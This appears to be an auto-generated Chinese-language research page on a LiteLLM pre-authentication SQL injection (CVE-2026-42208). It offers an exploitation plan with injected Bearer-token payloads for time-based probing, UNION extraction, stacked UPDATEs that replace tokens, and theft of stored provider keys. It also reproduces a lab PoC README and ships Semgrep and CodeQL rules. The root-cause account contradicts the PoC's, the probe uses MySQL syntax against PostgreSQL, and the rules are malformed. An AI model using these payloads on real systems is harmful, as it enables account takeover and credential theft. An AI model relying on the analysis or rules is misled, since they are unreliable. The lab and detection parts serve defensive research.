🔥 CVE-2026-42208 深度独立研究:源码审计 · 二次发现 · 利用方案
CVE-2026-42208 深度独立研究:源码审计 · 二次发现 · 利用方案
🔍 源码独立审计
对 https://github.com/BerriAI/litellm 源码进行独立审计(置信度 68%)。
🧬 根因独立理解
漏洞实际位于代理层 API Key 校验链路的错误处理分支,而不是 llm_http_handler.py 的 HTTP 转发逻辑。认证函数 user_api_key_auth(litellm/proxy/auth/key_auth.py)从 Authorization 头提取 api_key 后,先用 Prisma 模型查询 LiteLLM_VerificationToken;当正常查询没有结果或抛错时,代码为了记录或区分失败原因,调用内部辅助函数 _get_valid_token() 执行原始 SQL。补丁前该函数使用 f-string 把 api_key 直接拼入 SQL 文本:query = f"SELECT * FROM \"LiteLLM_VerificationToken\" WHERE token = '{api_key}'" 并传给 prisma.db.query_raw(query)。api_key 完全由请求方控制,没有经过参数绑定或转义,数据与 SQL 文本的边界被打破。1.83.7 的修复将 api_key 改为 $1 占位符,并把值作为独立参数传入,即从字符串拼接改为参数化查询。核心缺陷是错误处理路径使用动态 SQL,且未对认证输入做任何安全处理,导致未认证攻击者可以到达该查询并控制 SQL 语法。
🛤️ 漏洞触发链路
攻击者向任意受保护 LLM 路由如 POST /chat/completions 发送 Authorization: Bearer ' OR '1'='1。FastAPI 将该依赖 user_api_key_auth 作为路由依赖执行;普通 token 校验失败。错误处理分支把攻击者提供的 key 带入 _get_valid_token 的原始 SQL 查询。SQL 变成 WHERE token = '' OR '1'='1',若查询结果被当作有效 token,攻击者绕过认证;若结果被用于错误信息,则可结合 UNION SELECT 读取 LiteLLM_VerificationToken 或 LiteLLM_ModelTable 中的管理密钥。可进一步使用堆叠查询如 ';UPDATE LiteLLM_VerificationToken SET token='owned' WHERE id=...;-- 修改数据库,或提取已保存的 provider API key 进行横向访问。整个过程无需任何有效凭证。
🔁 二次发现(同类漏洞/扩展攻击面)
- litellm/proxy/auth/key_auth.py 中 _get_valid_token 的其他调用路径: 同一辅助函数可能被多个认证入口调用,任何路由都可触发同一注入;修复后需确认所有调用点都改用参数化查询。
- litellm/proxy/db/prisma_client.py 中 query_raw/execute_raw 封装: 若底层封装仍接受拼接好的 SQL 字符串,管理端点中用户可控字段同样可能注入,需统一使用 bind params 并静态扫描 f-string 拼 SQL。
- litellm/proxy/management_endpoints/key_management_endpoints.py: key_alias、metadata、team_id 等字段若在 count/select 查询中直接拼接,会是同簇 SQL 注入,建议重点审计所有 query_raw(f"...") 调用。
🩹 修复完整性分析
当前修复把关键值改为 $1 参数,方向正确,可阻止单引号、注释符、UNION 等注入。但完整性取决于是否覆盖所有错误路径:如果 _get_valid_token 被其他文件调用,且有人传入已拼接的 SQL 字符串;或 Prisma 驱动对参数处理不当、占位符被二次格式化,仍可能被绕过。还需检查同模块中其他 query_raw/execute_raw 调用是否仍存在 f-string 拼接;仅修一条查询不足以防止同类绕过。
⚔️ 利用方案设计
利用分三阶段。第一阶段探测:发送 Authorization: Bearer ' AND SLEEP(5)-- 到 /chat/completions,若响应明显延迟则确认注入点在 WHERE token 中。第二阶段数据提取:使用 UNION SELECT 将结果映射到接口可返回的字段;构造 ' UNION SELECT 'attacker', expires,... FROM LiteLLM_VerificationToken--,通过错误提示或 HTTP 状态差异逐字符盲注。若数据库允许堆叠语句,直接执行 '; UPDATE LiteLLM_VerificationToken SET token='<attacker_control>' WHERE id='目标'; -- 来插入或替换 token。第三阶段横向移动:读取 LiteLLM_ModelTable 和 LiteLLM_Config 中保存的 provider api_key/secret,或利用伪造 token 通过认证后调用 /key/generate 获得有效虚拟 key,再访问底层 LLM 服务;写权限还可删除/禁用管理员 token 造成持久控制。整体 payload 核心是在 Authorization 的 Bearer 值中注入单引号、UNION/堆叠语句和注释符,将认证查询变成任意 SQL 执行。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源HAERIN-L/poc_cve-2026-42208针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2026-42208 — LiteLLM Pre-Authentication SQL Injection
A lab environment for reproducing and detecting **CVE-2026-42208**,a critical pre-authentication SQL injection vulnerability in LiteLLM where unsanitized Bearer tokens reach a raw PostgreSQL query.
---
## Vulnerability Overview
|Field |Details ||-------|---------||CVE ID |CVE-2026-42208 ||GHSA |
[GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) ||CVSS |9.3 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` ||Affected versions |>= 1.81.16,<1.83.7 ||Patched |v1.83.7 (parameterized query) ||CWE |CWE-89 (SQL Injection) |### Root Cause
```
Vulnerable (v1.83.6):
POST /v1/chat/completions
Authorization: Bearer <payload>
← payload does NOT start with "sk-"
→ api_key.startswith("sk-") assertion fails (utils.py:1189)
→ caught by except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD,
table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← injection
Patched (v1.83.7):
Same request path,but:
→ get_data(token=hashed_token,...)
→ SQL: WHERE v.token = $1 ← parameterized,no injection
```
### Attack Prerequisites
|# |Condition |Details ||---|-----------|---------||1 |Affected LiteLLM version |>= 1.81.16,<1.83.7 ||2 |PostgreSQL backend |
SQLite deployments are unaffected ||3 |No authentication required |Pre-auth;zero credentials needed ||4 |≥1 row in VerificationToken |pg_sleep only fires per row;empty table = no delay |
---
## Lab Architecture
```
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNERABLE)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ PATCHED)
Docker: litellm-db-patched (PostgreSQL 15)
```
---
## Prerequisites
|Tool |Install ||------|---------||
[Docker Desktop](https://www.docker.com/) |docker.com ||[nuclei](https://github.com/projectdiscovery/nuclei) |`brew install nuclei` ||curl,python3 |pre-installed on macOS |
---
## How to Run
### Step 1 — Set up lab environment
```bash
bash scripts/01-setup.sh
```
When done:
```
══════════════════════════════════════════════════════
Lab ready!
Vulnerable (v1.83.6-nightly) : http://localhost:8010
Patched (v1.83.7-stable) : http://localhost:8011
Master Key : sk-lab-master-key
Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
```
### Step 2 — Trigger the CVE
```bash
bash scripts/02-exploit.sh
```
**Expected output — vulnerable (v1.83.6-nightly):**
```
── Vulnerable (v1.83.6-nightly,
port 8010) ──
Baseline : 0.031s
Injection : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
```
**Expected output — patched (v1.83.7-stable):**
```
── Patched (v1.83.7-stable,
port 8011) ──
Baseline : 0.028s
Injection : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULT: No significant delay — injection not executed (PATCHED)
```
### Step 3 — Nuclei detection
```bash
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
```
**Vulnerable (v1.83.6-nightly):**

**Patched (v1.83.7-stable):**

### Step 4 — Teardown
```bash
bash scripts/99-teardown.sh
```
---
## Directory Structure
```
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/ # Korean reports
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Nuclei detection template
│
└── scripts/
├── 01-setup.sh # Start containers,
create seed key
├── 02-exploit.sh # PoC: timing-based injection proof
└── 99-teardown.sh # Stop and remove all lab resources
```
---
## Nuclei Template Detection Logic
```
Step 1 GET /health/liveliness
→ match "I am alive" in body
→ confirms target is a LiteLLM instance
Step 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
Matchers (AND — all must pass):
status == 401 eliminates 504/502 false positives
body contains "auth_error" OR "Authentication Error"
confirms LiteLLM auth path,
not a proxy
duration >= 5 pg_sleep(6) fired → injection confirmed
```
False positive prevention:
- `status == 401` eliminates responses from upstream timeouts (504) and gateway errors (502)
- Body keyword match confirms the 401 came from LiteLLM's auth handling,
not a WAF or proxy
- `duration >= 5` is sufficiently high to exclude network jitter (baseline is ≤0.5s)
---
## References
- [GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc)
- [NVD — CVE-2026-42208](https://nvd.nist.gov/vuln/detail/CVE-2026-42208)
- [Sysdig Analysis](https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/)
---
>
**Warning:** All credentials in this lab are fake test data for security research purposes only. Never use in production. Always obtain explicit authorization before scanning systems you do not own.⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。
🛡️ Semgrep 审计规则: CVE-2026-42208.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-42208.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-42208.yaml
rules:
- id: CVE-2026-42208-sqli-python
languages:
- python
severity: ERROR
message: "Potential SQL injection in LiteLLM proxy API key check via string formatting instead of parameterized query"
patterns:
- pattern-either:
- pattern: |f"SELECT * FROM $TABLE WHERE key = $VALUE"
pattern-not: |f"SELECT * FROM $TABLE WHERE key = ?"
fix: |
cursor.execute("SELECT * FROM proxy_keys WHERE key = ?",
(key_value,))
metadata:
cwe: "CWE-89"
owasp: "A1: Injection"
technology: litellm
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-42208"
- id: CVE-2026-42208-sqli-python-format
languages:
- python
severity: ERROR
message: "Potential SQL injection via string formatting in database query"
patterns:
- pattern-either:
- pattern: $QUERY.format(key=$VALUE)
- pattern-not: $QUERY.format(key="?")
fix: |
cursor.execute("SELECT * FROM proxy_keys WHERE key = ?",(key_value,))
metadata:
cwe: "CWE-89"
owasp: "A1: Injection"
technology: litellm
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-42208"🛡️ CodeQL 审计规则: CVE-2026-42208.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-42208.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id python/sql-injection/cve-2026-42208
* @name SQL injection in LiteLLM proxy database query
* @description User-controlled Authorization header value is concatenated into a database query instead of being passed as a parameter,
allowing SQL injection.
* @problem.severity error
* @tags security
* external/cwe/cwe-089
*/
import python
import semmle.python.dataflow.new.DataFlow
import semmle.python.dataflow.new.TaintTracking
import semmle.python.ApiGraphs
class SqlInjectionConfig extends TaintTracking::Configuration {SqlInjectionConfig() {this = "SqlInjectionConfig" }
override predicate isSource(DataFlow::Node source) {exists(DataFlow::Node n |n.asExpr() = any(Subscript s |s.getObject().(Name).getId() = "headers").getItem(_) or
source.asExpr() = any(Call c |c.getFunc().(Attribute).getAttrName() = "get" and
c.getFunc().(Attribute).getObject().(Name).getId() = "headers"
)
)
}override predicate isSink(DataFlow::Node sink) {
exists(DataFlow::Node n |n.asExpr() = any(Call c |c.getFunc().(Attribute).getAttrName() = "execute" or
c.getFunc().(Attribute).getAttrName() = "executemany" or
c.getFunc().(Attribute).getAttrName() = "executescript"
) and
sink = n
)
}override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {
any(FString fstr).getAFormattedValue() = node1.asExpr() and
node2.asExpr() = fstr
}}from DataFlow::PathNode source,DataFlow::PathNode sink,SqlInjectionConfig config
where config.hasFlowPath(source,sink)
select sink.getNode(),source,sink,"User-controlled input from Authorization header reaches database execute() call,allowing SQL injection."🤖 高危漏洞深度独立研究引擎生成 · 2026-08-15 03:03